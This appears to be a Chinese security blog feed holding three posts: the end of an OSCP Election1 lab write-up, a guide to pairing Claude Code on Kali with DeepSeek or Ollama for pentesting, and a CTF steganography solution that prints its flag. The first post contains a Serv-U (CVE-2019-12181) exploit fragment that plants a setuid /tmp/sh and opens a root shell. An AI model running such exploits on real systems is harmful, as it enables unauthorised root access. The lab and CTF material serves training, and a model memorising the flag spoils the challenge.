/tmp/sh;\\\u0026#34;\u0026#34; /usr/local/Serv-U/Serv-U -prepareinstallation\u0026#39; 26 27if ! test -u \u0026#34;/tmp/sh\u0026#34;; then 28 echo \u0026#39;[-] Failed\u0026#39; 29 /bin/rm \u0026#34;/tmp/sh\u0026#34; 30 exit 1 31fi 32 33echo \u0026#39;[+] Success:\u0026#39; 34/bin/ls -la /tmp/sh 35 36echo \u0026#34;[*] Launching root shell: /tmp/sh\u0026#34; 37/tmp/sh -p C脚本的方法尝试也成功了\n总结 入侵路径示意图 flowchart TD %% 资产列表 A[Kali攻击机 192.168.45.168] B[靶机 192.168.195.211] C[election目录 ] D[phpmyadmin后台 ] E[SSH登录] F[root] %% 路径关系 A--\u003e|扫描|B B--\u003e|robots.txt泄露|C A--\u003e|Nmap扫描|D D--\u003e|数据库md5解密得到election投票管理员密码|C C--\u003e|管理员界面log页面泄露SSH登录密码|E E--\u003e|CVE-2019-12181 漏洞提权|F %% 线型：---（实线）、-.-\u003e（虚线）、==\u003e（粗箭头） %% --\u003e|是|：带条件文本的连接 %% 矩形节点[ ]，菱形决策节点{ }，圆弧方节点() %% 样式定义 classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px; classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; %% 线型与颜色方案（亮色/暗色通用） linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0; %% 应用样式 class A attack; class B,D public; class C internal;入侵时间表 gantt title 攻击时间表 dateFormat YYYY-MM-DD HH:mm axisFormat %H:%M section 侦察阶段 目标扫描 :a1, 2026-03-13 13:30, 2026-03-13 14:09 漏洞识别 :a2, after a1, 2026-03-13 14:51 section 攻击阶段 初始访问 :b1, after a2, 3m 权限提升 :crit,b2, after b1, 2026-03-13 15:20 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n推荐阅读\nDay1 什么是OSCP，怎么报名和如何准备 OSCP/OSEP一对一私教直通车：协议保障，直通高级渗透测试专家 CyberSec：适用于黑阔糕手的Obsidian知识库 ","date":"2026-03-13T13:16:57+08:00","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-election1-wp/","title":"OSCP官方靶场-Election1-WP"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取相关的工具\nhttps://www.runoob.com/claude-code/claude-code-setup.html\n之后用到的Claude命令可以参考以上链接。Claude本身就是很强的工具，把他接在Kali上，让Claude直接调用Kali本身的工具，就能化身一个黑客糕手。\nClaude安装 https://code.claude.com/docs/zh-CN/quickstart\n安装和使用，修改/etc/proxychains.conf文件（科学上网）\n[ProxyList] # socks5 127.0.0.1 1080 # 本地 SOCKS5（如 Clash/V2Ray） # socks4 127.0.0.1 9050 # Tor http 172.168.169.1 7897 # 科学上网的Clash的地址和端口 这里的172.168.169.1就是虚拟机里面物理机的地址。一般在登录kali虚拟机的终端后会显示。\n记得clash打开局域网可用的选项，这样你的Clash只用安装在本机，所有的虚拟机都可以科学上网了。之后再在终端中\n1proxychains -q curl -fsSL https://claude.ai/install.sh | bash 选择美国或者日本，韩国的，新加坡和香港的有概率挂。安装好后启动\n1proxychains -q claude 可以使用Claude审计代码\n梭哈CTF题目，pwn题和逆向题再也不是难点，连WP都是AI写了\n第一次使用会提示登录Claude，按要求打开网站，申请Key之后复制网页给出的key即可登陆成功。但是如果你没有Claude账户，或者嫌贵和科学上网麻烦的话，也可以接入Deepseek和阿里千问，Claude CLI除了可以使用自家的Claude，也可以接入其他大模型。\n接入Deepseek 环境变量中配置 进入项目目录\n1cd my-project 安装 Claude Code 后，我们在终端中设置以下环境变量：\n1export ANTHROPIC_BASE_URL=https://api.deepseek.com/anthropic 2export ANTHROPIC_AUTH_TOKEN=sk- 3export API_TIMEOUT_MS=600000 4export ANTHROPIC_MODEL=deepseek-chat 5export ANTHROPIC_SMALL_FAST_MODEL=deepseek-chat 6export CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1 7claude 参数说明：\nAPI_TIMEOUT_MS=600000：设置 10 分钟超时，防止输出过长触发客户端超时 ANTHROPIC_MODEL：指定使用 deepseek-chat 模型 CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1：禁用非必要流量 启动 Claude Code 后，如果不关闭当前的终端，再次指定使用 DeepSeek只需要：\n1claude --model deepseek-chat 或在交互模式中切换：\n1/model deepseek-chat 输入 /model 可以查看支持的模型：\n接入阿里云百炼 1export ANTHROPIC_BASE_URL=https://dashscope.aliyuncs.com/apps/anthropic 2export ANTHROPIC_AUTH_TOKEN=sk- 3export API_TIMEOUT_MS=600000 4export ANTHROPIC_MODEL=qwen3-coder-plus 5export ANTHROPIC_SMALL_FAST_MODEL=qwen3-coder-plus 6export CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1 7claude 申请的 API key https://bailian.console.aliyun.com/cn-beijing/?tab=model#/api-key\n其他的大模型可以自行翻阅其官网的API文档查看其是否支持Anthropic的调用协议，支持的话也是相似的配置就能使用。\nhttps://platform.claude.com/docs/en/api/messages\n接入本地Ollama deepseek和千问大批量调用的时候，多少还是要产生token费用，还受限于网速。在一些断网环境的CTF比赛中，或者在一些有保密要求的代码审计场景下，就需要使用本地大模型。\nWindows物理机都安装了Ollama和Claude CLI Claude Code可以配置为使用 Ollama 作为后端。\n1ollama launch claude 这会提示你选择模型，自动配置 Claude 代码并启动它。不启动的情况下配置：\n1ollama launch claude --config Ollama 跨虚拟机调用（Windows物理机安装Ollama，Kali虚拟机安装Claude） https://ollama.com/download\nWindows物理机上下载Ollama，拉取镜像后，然后在Kali虚拟机中测试\n1irm https://ollama.com/install.ps1 | iex 2ollama pull qwen3:0.6b 第一次安装推荐先装一个小模型，下载和测试比较快，之后觉得性能不行的，可以自行根据需要安装更大的模型。\n1curl -s http://172.168.169.1:11434/v1/messages \\ 2 -H \u0026#34;Content-Type: application/json\u0026#34; \\ 3 -d \u0026#39;{\u0026#34;model\u0026#34;:\u0026#34;qwen3:0.6b\u0026#34;,\u0026#34;max_tokens\u0026#34;:1000,\u0026#34;messages\u0026#34;:[{\u0026#34;role\u0026#34;:\u0026#34;user\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;你好，你是谁\u0026#34;}]}\u0026#39; \\ 4 | python3 -c \u0026#34; 5import sys,json 6d=json.load(sys.stdin) 7for b in d[\u0026#39;content\u0026#39;]: 8 if b[\u0026#39;type\u0026#39;]==\u0026#39;thinking\u0026#39;: 9 print(\u0026#39;💭 思考:\\n\u0026#39;+b[\u0026#39;thinking\u0026#39;]) 10 print(\u0026#39;─\u0026#39;*40) 11 elif b[\u0026#39;type\u0026#39;]==\u0026#39;text\u0026#39;: 12 print(\u0026#39;💬 回答:\\n\u0026#39;+b[\u0026#39;text\u0026#39;]) 13\u0026#34; https://docs.ollama.com/api/anthropic-compatibility\nollama的文档已经给出了直接调用的方式，写入一行命令里就是\n1ANTHROPIC_AUTH_TOKEN=ollama ANTHROPIC_BASE_URL=http://localhost:11434 ANTHROPIC_API_KEY=\u0026#34;\u0026#34; claude --model qwen3-coder 这里不用修改APIkey，留空即可，这个字段是Claude调用需要这个参数，但是ollama本地模型不需要key。如果想要写入永久配置的文件就修改.bashrc 添加下面的命令\n1export ANTHROPIC_AUTH_TOKEN=ollama 2export ANTHROPIC_BASE_URL=http://localhost:11434 3export ANTHROPIC_API_KEY=\u0026#34;\u0026#34; 然后以后每次启动终端就只需要输入\n1claude --model qwen3-coder 但是笔记本的性能很大程度上制约了回答的能力，速度慢是大问题，回答一个你好花了2分钟。这是我当时运行时的电脑系统信息和内存信息。因为开了一个虚拟机kali，我在kali里面用Claude CLI，然后Claude再调用物理机上安装的ollama（有点套娃）。\n如果不在虚拟机里面用claude而是直接再windows物理机上使用Claude的话内存占用小一些，也许速度会略快（AI误操作删除文件的时候也很快）。不在kali中安装ollama的原因是因为给kali分配空间太小而无法安装ollama。指望这个轻薄办公本上跑的小模型去解决模型使用场景遇到的问题是不现实的，反应太慢了，而且很多功能小模型并不具备。比如下图的qwen3:0.6B就具备图片的功能。\n本地跑大模型要什么配置（含渗透测试场景） https://www.bilibili.com/video/BV11E421u7ku/ https://lmstudio.ai/\n参考一些技术博主给的配置，这是只跑AI的场景，没有考虑到跑Kali虚拟机的情况。 https://zhuanlan.zhihu.com/p/1949164887449272936\n渗透测试场景专项配置 正对两个常见的渗透场景的配置如下：\n🖥️ 场景一：本地 Windows 笔记本 + Kali 虚拟机 定位： 个人安全研究 / CTF / 日常渗透辅助\n典型用途： Ollama 本地模型辅助漏洞分析、exploit 代码生成、报告撰写\n资源分配策略 宿主机（Windows） ├── 系统保留：4GB内存 + 2核 ├── AI推理（Ollama/LM Studio）：8～12GB内存 + GPU显存 └── Kali虚拟机 ├── 内存：8GB ├── CPU：2核4线程 └── 用途：渗透工具链（nmap/burp/msf等） 硬件需求 组件 最低配置 推荐配置 说明 CPU 六核12线程（i7-11800H） 八核16线程（i9-13900H / Ryzen 9 7940HX） Kali VM占2核4线程，剩余分配给AI推理 GPU 6GB显存（RTX 3060 笔记本） 12～16GB显存（RTX 4080/4090 笔记本） INT4量化7B模型可在6GB显存运行 内存 32GB（Kali 8GB + AI 12GB + 系统 12GB） 64GB（Kali 8GB + AI 24GB + 系统 32GB） 32GB是实际最低门槛，16GB无法同时跑VM+AI 存储 512GB NVMe SSD 1TB NVMe SSD（读速3500MB/s+） 模型文件+Kali快照+数据集 网络 千兆以太网 千兆以太网 + WiFi 6 Kali VM配Host-only + NAT双网卡 推荐 AI 模型选择（本地笔记本） 模型 参数量 显存需求 渗透场景适用性 llama3.2:3b 3B ~2GB 快速问答、简单脚本生成 mistral:7b-instruct-q4 7B INT4 ~4GB 漏洞分析、exploit思路 codellama:7b-code 7B ~5GB Python/C exploit代码生成 deepseek-coder:6.7b 6.7B ~4GB 代码审计、POC编写 ✅推荐 qwen2.5:7b 7B ~5GB 中文报告生成、CTF writeup 联通的途径为：KaliVM借助Host-only网卡直接访问宿主机上的OllamaAPI，其地址是 http://192.168.x.x:11434，如此便无需在VM内部部署模型，进而实现节省VM内存的效果。\n☁️ 场景二：云服务器 Kali + Claude + Ollama（+ OpenClaw） 定位： 云端渗透环境 / 团队共享 AI 辅助平台\n典型用途： 长时间任务自动化、多人协作、模型不受本地硬件限制\n云服务器配置建议 规格档次 vCPU 内存 显存/GPU 存储 月费估算 适用模型 入门档（够用） 8核 32GB 无GPU 200GB SSD ~$60-100 Ollama CPU推理，3B/7B INT4（慢） 推荐档 8核 32GB T4 16GB 200GB SSD ~$300-500 7B FP16 / 13B INT4，流畅推理 高性能档 16核 64GB A10G 24GB 500GB SSD ~$800-1200 13B FP16 / 70B INT4 旗舰档 32核 128GB A100 80GB 1TB SSD ~$2000+ 70B FP16，生产级部署 云厂商推荐：AWS（g4dn.xlarge 起步）、Lambda Labs（性价比高）、AutoDL（国内，价格低）、腾讯云/阿里云 GPU实例\n关键结论与选购建议 个人渗透用户 本地笔记本首选： RTX 4080笔记本（16GB显存）+ 64GB内存（Kali VM + AI同跑必须）+ 1TB NVMe 预算有限： RTX 3060（12GB）+ 32GB内存 + INT4量化7B模型（够用） 内存是本地双环境最大瓶颈，不是显存 云端渗透环境 入门推荐： Lambda Labs A10 实例（24GB显存，性价比最高） 国内推荐： AutoDL 3090/4090 实例（按小时计费，成本极低） Claude API + Ollama 本地模型 + LiteLLM 代理是最灵活的架构 避坑提示 显存不足优先用 GGUF INT4/INT8量化（llama.cpp），可大幅降低需求 笔记本跑Kali VM + AI，内存 \u0026lt; 32GB 基本不可用，优先升内存 云服务器无需买GPU做推理，按小时租用GPU实例（AutoDL、Lambda）更划算 显存容量（GB）\u0026gt; GPU算力（TFLOPS），大模型运行的硬性瓶颈永远是显存 扩展玩法：接入OpenClaw Claude CLI本身很强了，配合Kali系统中再带的各种网络安全工具更是强上加强，那么还能不能更强呢？有的，兄弟有的！接入OpenClaw变身黑阔糕手龙虾！龙虾届的新品种！\nhttps://openclaw.ai/ https://github.com/xianyu110/awesome-openclaw-tutorial https://www.bilibili.com/video/BV1jEAaz3E6K/ https://cloud.tencent.com/act/pro/lighthouse-moltbot?from=29651\nOpenClaw具备相较于Claude的优势在于，其能够支持对聊天软件的接入操作，并且还可以在云端进行部署。对于从事日常办公业务的人员来说，此优势或许颇为必要，例如仅依靠口头交流来收发邮件，搜集信息，整理报告以及开展重复性办公事务这类情况。真正能让很多为生计奔波的打工者也能感受到当领导仅靠言语差遣去干活的乐趣，OpenClaw支持通过语言识别来下发任务，纯粹就是动动嘴，压根都不需要去打字。但是就当下情况而言对于处于渗透场景中的用户目前看来或许难以提供明显助力。\n其一，是因为其自身作为一项需要高度集中精力，开展情报分析，进行poc执行以及进行研判的流程。各位擅长电脑操作的高手已经处于电脑前的状态，因此对于存在外出场景且需要靠动口支使人干活的需求相对较低。 第二点而言，OpenClaw和当下的大型模型还不能达到足够智能的程度，进而无法完整取代渗透测试的全部流程工作，要么是人工智能如虾写🦞，要么是出现误操作致使删库这类状况。可以交由OpenClaw来承担的工作例如信息收集，巡航扫描这类简单的任务，或许可以，也能一定程度上提高渗透效率。 其三，当前OpenClaw存在许多漏洞，并且有大量Skiil模板会实施投毒行为，致使用户的凭证信息出现暴露情况。原本计划借助OpenClaw对靶机开展相关操作，但是实际情况是自身反而成为了靶机。 所以在此仅提供一个官网与教程帖，若有兴趣便进一步钻研，诸位既可自行去安装尝试，也可前往腾讯大门口排队领取龙虾。\nhttps://mp.weixin.qq.com/s/JQnf6hlQpHTTpXNepnSNVQ\n总结 近年来，人工智能迅猛发展，人工智能大模型不断参与排行榜角逐，人工智能所衍生出的产品也多种多样，有龙虾，有羊驼。也许将来某天的桌面就是一堆动物，动物栏：桌面牧场（地球online）了属于是。\n网页之中满是各类由人工智能生成的文字以及相关广告与网站内容。根据我自身探究黑灰产的经验来看，黑灰产背景的黑客是率先将人工智能加以运用的群体。从最初出现的借助人工智能进行换脸的明星相关成人视频，到当下利用人工智能自动生成用于刷搜索引擎优化的垃圾站点，以及人工智能所编写的半自动乃至自动的攻击工具与免杀工具。身为网络安全领域的从业者，秉持“师夷长技以制夷”的理念，我认为除钻研漏洞渗透相关的知识外，研习人工智能相关内容也很有必要，如此可让自身知识储备及可运用手段更为丰富多样，进而扩充自身知识库与应对策略的储备。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n推荐阅读\nDay1 什么是OSCP，怎么报名和如何准备 OSCP/OSEP一对一私教直通车：协议保障，直通高级渗透测试专家 CyberSec：适用于黑阔糕手的Obsidian知识库 ","date":"2026-03-07T18:26:04+08:00","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260306161125696.png","permalink":"/post/claudecli%E5%8A%A0kali/","title":"Claude CLI + Kali = 黑阔糕手"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。\n学安全，别只看书上手练，就来好靶场，本WP靶场已开放，欢迎体验：\n🔗 入口：http://www.loveli.com.cn/see_bug_one?id=737\n✅ 邀请码：48ffd1d7eba24bf4\n🎁 填写即领 7 天高级会员，解锁更多漏洞实战环境！快来一起实战吧！👇\n致给李华的一封信 题目描述 附件中有一封呈递给李华的信，而当打开它时，呈现在眼前的竟是满篇的英文促销垃圾邮件。 同时题目中另附有一封\u0026quot;李华的回信\u0026quot;，提示：\n“假如你是李华……” 即使高中毕业了，这句话依然是我的噩梦。三年了，李华，你总是让我替你写信。想邀请外国朋友参加画展？找我。想感谢老师？找我。还有你的笔友，我什么要找我写呢?现在的网络这么发达,网上不可以翻译或者AI来写吗？就连丢了东西写个失物招领也要找我！你是不是连一句完整的英语都不会说？ 反正我已经找到了你的邮箱地址，2026年2月23日凌晨1点44，我给你写了一封信，我知道你都不懂，你记得签收，我知道你的水平，你应该可以找到真正的一封信，反正我就是要报复你 亲爱的:LiHua Dear Contestant, Hello! I am Li Hua. You must be very familiar with me, after all, over the past three years, we have spent countless afternoons together preparing for exams. A user named San Jiu sent me a messy email. You know me, my English isn’t very good. Even though I’ve been studying it for three years, my English is still poor, just like you said, I’ve been pretending to study diligently. So could you help me figure out what this letter is really trying to say? Fluent in English, Li Hua 翻译: 亲爱的选手： 你好！我是李华。你应该对我非常熟悉了，毕竟在过去的三年里，我们一起度过了无数个考试的下午。有一个叫叁玖的用户给我发了一封乱七八糟的邮件，你知道我的，我的英语不是很好，虽然我学了三年，但英文还是很差，就像你们说的那样，一直在假装努力学习。所以你能帮我看看，这封信真正想表达的是什么吗？ 英语非常棒的， 李华 解题思路 第一步：识别 Spam Mimic 隐写 看到大量格式统一的英文促销邮件，例如：\nDear Salaryman; Especially for you - this cutting-edge information... Why work for somebody else when you can become rich as few as 42 MONTHS... 这是经典的 Spam Mimic（垃圾邮件隐写） 特征。SpamMimic是一种隐写术，它能够把任意的信息编码到标准化的垃圾邮件模板当中，从视觉方面来看，呈现出的是看似正常却实际上无意义的促销邮件的形态。\n解码工具：http://www.spammimic.com/decode.cgi\n根据题目提示\u0026quot;密码是 LiHua\u0026quot;，在解码页面：\n粘贴全部垃圾邮件文本 密码填入 LiHua 点击 Decode 经解码操作之后，获取到一串起始部分为789c的十六进制数据。\n第二步：识别 zlib 压缩并解压 789c 是属于zlib压缩格式的魔数，该魔数的存在意味数据已经经历了zlib压缩的处理过程，表明数据是经过zlib进行压缩的。 将十六进制数据转为二进制文件后，用 Python 解压：\n1import binascii 2import zlib 3 4# 粘贴 Spam Mimic 解码出的十六进制字符串 5decoded_hex = \u0026#34;789c......\u0026#34; 6 7raw_bytes = binascii.unhexlify(decoded_hex.replace(\u0026#39; \u0026#39;, \u0026#39;\u0026#39;)) 8decompressed = zlib.decompress(raw_bytes) 9 10with open(\u0026#39;output.bin\u0026#39;, \u0026#39;wb\u0026#39;) as f: 11 f.write(decompressed) 12 13print(decompressed.decode(\u0026#39;utf-8\u0026#39;)[:100]) 解压后得到一长串只包含 0 和 1 的字符串：\n0110000110110000011010100101011111001110010011100101011111001011001100000100111001011000101100000110 若直接按每8位转换为ASCII，得到的是乱码，这表明并非是普通的二进制编码形式。\n第三步：识别格雷码并转换 在进行了多种不同的编码尝试之后，最终确定这是格雷码，我们常说的GrayCode。 格雷码具有这样的特性，即相邻的两个数值之间仅仅在一位二进制位上存在差异，它常常被应用于通信领域以及编码转换的相关场景里。\n格雷码 → 普通二进制的转换规则：\n最高位不变 后续每一位 = 前一位二进制结果 XOR 当前格雷码位 完整解码脚本：\n1def gray_to_binary(gray): 2 \u0026#34;\u0026#34;\u0026#34;格雷码转标准二进制\u0026#34;\u0026#34;\u0026#34; 3 binary = gray[0] 4 for i in range(1, len(gray)): 5 binary += str(int(binary[i - 1]) ^ int(gray[i])) 6 return binary 7 8 9def binary_to_text(binary_str): 10 \u0026#34;\u0026#34;\u0026#34;二进制转 ASCII 文本（每8位一组）\u0026#34;\u0026#34;\u0026#34; 11 text = \u0026#34;\u0026#34; 12 for i in range(0, len(binary_str) - 7, 8): 13 byte = binary_str[i:i + 8] 14 ascii_val = int(byte, 2) 15 if 32 \u0026lt;= ascii_val \u0026lt;= 126: 16 text += chr(ascii_val) 17 return text 18 19 20# 读取解压后的数据 21with open(\u0026#39;output.bin\u0026#39;, \u0026#39;r\u0026#39;) as f: 22 gray_data = f.read().strip() 23 24binary = gray_to_binary(gray_data) 25result = binary_to_text(binary) 26print(result) 自动化一键脚本 以下脚本自动完成 Spam Mimic 解码 → zlib 解压 → 格雷码转换的全流程：\n1import binascii 2import zlib 3 4# 把网站给你的十六进制字符串粘贴在这里 5decoded_hex = \u0026#34;789c......\u0026#34; # 粘贴完整的十六进制 6 7raw_bytes = binascii.unhexlify(decoded_hex.replace(\u0026#39; \u0026#39;, \u0026#39;\u0026#39;)) 8decompressed = zlib.decompress(raw_bytes) 9gray_str = decompressed.decode(\u0026#39;utf-8\u0026#39;).strip() 10 11def gray_to_binary(gray): 12 binary = gray[0] 13 for i in range(1, len(gray)): 14 binary += str(int(binary[i-1]) ^ int(gray[i])) 15 return binary 16 17def binary_to_text(binary_str): 18 text = \u0026#34;\u0026#34; 19 for i in range(0, len(binary_str) - 7, 8): 20 byte = binary_str[i:i+8] 21 ascii_val = int(byte, 2) 22 if 32 \u0026lt;= ascii_val \u0026lt;= 126: 23 text += chr(ascii_val) 24 return text 25 26binary = gray_to_binary(gray_str) 27print(binary_to_text(binary)) 最终结果 解码后得到一封完整的中文信——一个被\u0026quot;李华\u0026quot;折磨了三年的高中考生的控诉书：\nA Letter to Li HuaDear (and absolutely insufferable) Li Hua,As I sit down to write this, I don\u0026#39;t even need to use my brain to come up with an opening. After all, over my three years of high school, the letters I\u0026#39;ve written to you, the ones I\u0026#39;ve ghostwritten for you, and the lies I\u0026#39;ve covered up for you probably outnumber the English vocabulary words I\u0026#39;ve memorized. Seriously, Li Hua, did you enroll in high school to actually study, or just to treat me as your full-time, unpaid secretary?I genuinely can\u0026#39;t wrap my head around it: how can someone who made it into high school be so ridiculously dense that they can\u0026#39;t even write a basic invitation or thank-you note? Every time an English exam gets handed out and I see \u0026#34;Suppose you are Li Hua\u0026#34; or \u0026#34;Write a letter to Li Hua,\u0026#34; I literally feel physically ill. You want to invite a foreign friend to a school event? You come to me. You need to write a thank-you letter to a teacher? You come to me. You want to whine to your pen pal about your study stress? Me again. Hell, even when you lose your own stuff and need to put up a lost-and-found notice, I\u0026#39;m the one who has to write it. Did you literally have nothing better to do for three solid years than to be an absolute parasite?I often suspect you\u0026#39;re doing this on purpose. Pretending you don\u0026#39;t know a word of English, deliberately dumping all your messes onto us test-takers, and watching us tear our hair out racking our brains to fabricate those fake, insincere pleasantries and patch up your ridiculous excuses. You get to sit back and reap the benefits every single time. And what about me? Just to write a passing letter for you, I have to memorize templates, drill sentence structures, and desperately pad the word count, terrified that one misspelled word or a single grammar slip will tank my own grade.What\u0026#39;s even more laughable is how excessively \u0026#34;busy\u0026#34; you are. One minute you\u0026#39;re joining some activity, the next you\u0026#39;re making a new friend, and then suddenly you have all these bizarre personal dilemmas. It\u0026#39;s like you have to stick your nose into every single event on earth and touch every bit of trouble, leaving us to deal with the inevitable fallout. I\u0026#39;ve wondered more than once: if Li Hua didn\u0026#39;t exist, would my English exams be a little less like torture? Would my high school life actually have a bit of peace and quiet?Honestly, I despise you. I hate that you show up in every single English composition. I hate that you are eternally incapable of writing your own damn letters. I hate that you\u0026#39;ve wasted my time and energy on this utterly meaningless \u0026#34;ghostwriting\u0026#34; gig. I am so sick and tired of speaking for you, expressing things for you, and finishing the tasks that you should be doing yourself.Today, I am writing you this letter for the very last time. Not to fix another one of your stupid messes, but just to tell you this: for the rest of your life, stay out of my essays, and stop bothering me to write for you. I never want to have anything to do with you ever again, and I refuse to suffer another headache on your account.Goodbye forever. May we never cross paths again.A test-taker you tormented for three yearsflag{09063956b0c14f709439b19892b474d2ee32e335} 致李华的一封信亲爱的（简直令人无法忍受的）李华：当我坐下来写这封信时，我甚至都不用动脑筋就能想到开头。毕竟，在我高中三年里，我给你写的信、替你代笔的信以及帮你掩盖的谎言，加起来的数量恐怕都超过了我背诵的英语单词。说真的，李华，你上高中是为了好好学习，还是就为了把我当你的全职、无偿秘书？我实在想不通：一个能考上高中的学生，怎么会蠢到连一封基本的邀请函或感谢信都写不出来？每次英语考试发下来，看到“假设你是李华”或者“给李华写一封信”，我简直要吐了。你想邀请外国朋友参加学校活动？找我。你需要给老师写封感谢信？找我。你想向笔友抱怨学习压力？还是我。天哪，甚至你丢了东西要贴寻物启事，还得我来写。你真的就整整三年没点正经事可做，就只会当个彻头彻尾的寄生虫吗？我常常怀疑你是故意这么干的。装作一句英语都不懂，故意把你的烂摊子都甩给我们这些考生，然后看着我们抓耳挠腮绞尽脑汁去编造那些假惺惺、不真诚的客套话，帮你圆那些荒唐的借口。每次都是你坐享其成，而我呢？就为了给你写封过得去的推荐信，还得死记硬背模板，苦练句型，拼命凑字数，就怕一个错别字或者一处语法错误就毁了我自己的成绩。更可笑的是你那过分的“忙碌”。一会儿参加这个活动，一会儿交个新朋友，然后突然冒出一堆稀奇古怪的个人难题。好像地球上的每一件事你都得插一手，每一点麻烦都得沾上边，最后把烂摊子留给我们收拾。我不止一次想过：要是没有李华，我的英语考试会不会好受点？我的高中生活真的能有点安宁吗？说实话，我讨厌你。我讨厌你出现在我每一篇英语作文里。我讨厌你永远都不会自己写信。我讨厌你浪费我的时间和精力在你这毫无意义的“代笔”活儿上。我受够了替你说话，替你表达，替你完成本该你自己做的事。今天，我最后一次给你写信。不是为了再帮你收拾烂摊子，只是想告诉你：余生，别再出现在我的作文里，别再烦我替你写东西。我再也不想和你有任何瓜葛，我绝不会再为你头疼。永别了。愿我们再无交集。一个被你折磨了三年的考生flag{09063956b0c14f709439b19892b474d2ee32e335} Flag 即藏于此信之中。\nflag{09063956b0c14f709439b19892b474d2ee32e335} 解题链总结 垃圾邮件文本（spam.txt） │ ▼ Spam Mimic 解码（密码: LiHua） │ http://www.spammimic.com/decode.cgi │ 十六进制数据（789c 开头） │ ▼ zlib 解压（Python: zlib.decompress） │ 一串 0/1 字符串（格雷码） │ ▼ 格雷码 → 标准二进制（本位 XOR 前一位） │ ▼ 二进制 → ASCII（每8位转一字符） │ FLAG 知识点总结 知识点 说明 Spam Mimic 隐写 将信息编码进垃圾邮件模板，解码网站：spammimic.com zlib 魔数 789c 是 zlib 压缩数据的标准文件头 格雷码 相邻值仅一位不同；转二进制：首位不变，后续位 = 前位结果 XOR 当前位 本题颇具匠心地将隐写，压缩，编码这三个知识点连贯起来，并且把“李华”这一高考经典人物当作彩蛋融入其中，饶有趣味。\nSpam Mimic 隐写详解 它是什么？ 在20世纪90年代末期，JackKilian创造出一种名为SpamMimic的语言学隐写术。\n核心要义颇为简洁，即将秘密讯息隐匿于一篇乍看全然正常的垃圾邮件当中，使得审查者无论是人还是机器，错认为它仅仅是一封普通的促销邮件，以此达成绕过过滤的目的。\n原理：用文法来编码 关键概念：上下文无关文法（CFG） SpamMimic从根本来说，是一种具有可逆特性的文法编码体系。 它预先定义了一套垃圾邮件的模板文法，类似这样：\n邮件 = 开头 + 正文段落×N + 结尾 开头 = 称呼 + 开场白 称呼 = \u0026#34;Dear Salaryman\u0026#34; | \u0026#34;Dear Friend\u0026#34; | \u0026#34;Dear Colleague\u0026#34; | ...（8种选项） 开场白 = \u0026#34;Especially for you -\u0026#34; | \u0026#34;Thank-you for your interest\u0026#34; | ...（4种选项） 每一处所在都存在一定数量的固定备选项目，而选定哪一个备选项目，实际上就意味对信息进行了隐匿。\n编码过程（藏信息） 若要对信息Hi实施隐藏操作，其对应的二进制形式就是 01001000 01101001。\n编码器逐位读取这些二进制，用每个文法选择点来消耗比特：\n称呼位置有 8 种选项 → 可以编码 3 bit（2³ = 8） 开场白有 4 种选项 → 可以编码 2 bit（2² = 4） 时间单位有 4 种 → 可以编码 2 bit 数字有多种范围 → 可以编码若干 bit ... 每实施一次选择，就会损耗与之对应的位数的比特，直至所有信息都被编码完毕。\n举个具体例子：\n称呼有 8 种候选 → 读取 3 bit \u0026#34;010\u0026#34; = 2 → 选第2个 \u0026#34;Dear Colleague\u0026#34; 开场白有 4 种 → 读取 2 bit \u0026#34;01\u0026#34; = 1 → 选第1个 \u0026#34;Especially for you\u0026#34; ... 最终生成的邮件里，每一个词语的选用都精准地与秘密信息的若干位比特一一对应起来。\n解码过程（取信息） 反过来，解码器拿到这封垃圾邮件，逐个分析每个词语在文法中是第几个选项：\n\u0026#34;Dear Colleague\u0026#34; 是称呼的第2个 → 输出 3 bit \u0026#34;010\u0026#34; \u0026#34;Especially for you\u0026#34; 是第1个 → 输出 2 bit \u0026#34;01\u0026#34; ... 将所有输出进行组合，便可还原出最初的二进制信息，随后把它转换成文字即可。 整个进程完全具备可逆性，不存在任何信息缺失情况。\n密码的作用 你可能注意到解码时要输入密码 LiHua，这个密码的作用是：\n打乱候选项的顺序（Permutation）\n没有密码时，候选项按默认顺序排列：\n称呼[0] = \u0026#34;Dear Friend\u0026#34; 称呼[1] = \u0026#34;Dear Salaryman\u0026#34; 称呼[2] = \u0026#34;Dear Colleague\u0026#34; ... 有密码时，用密码生成一个伪随机排列：\n称呼[0] = \u0026#34;Dear Colleague\u0026#34; ← 顺序被打乱了 称呼[1] = \u0026#34;Dear Friend\u0026#34; 称呼[2] = \u0026#34;Dear Salaryman\u0026#34; ... 这样即使知道 Spam Mimic 技术，不知道密码也无法正确解码——因为每个选择点对应的比特值完全不同。\n容量有多大？ 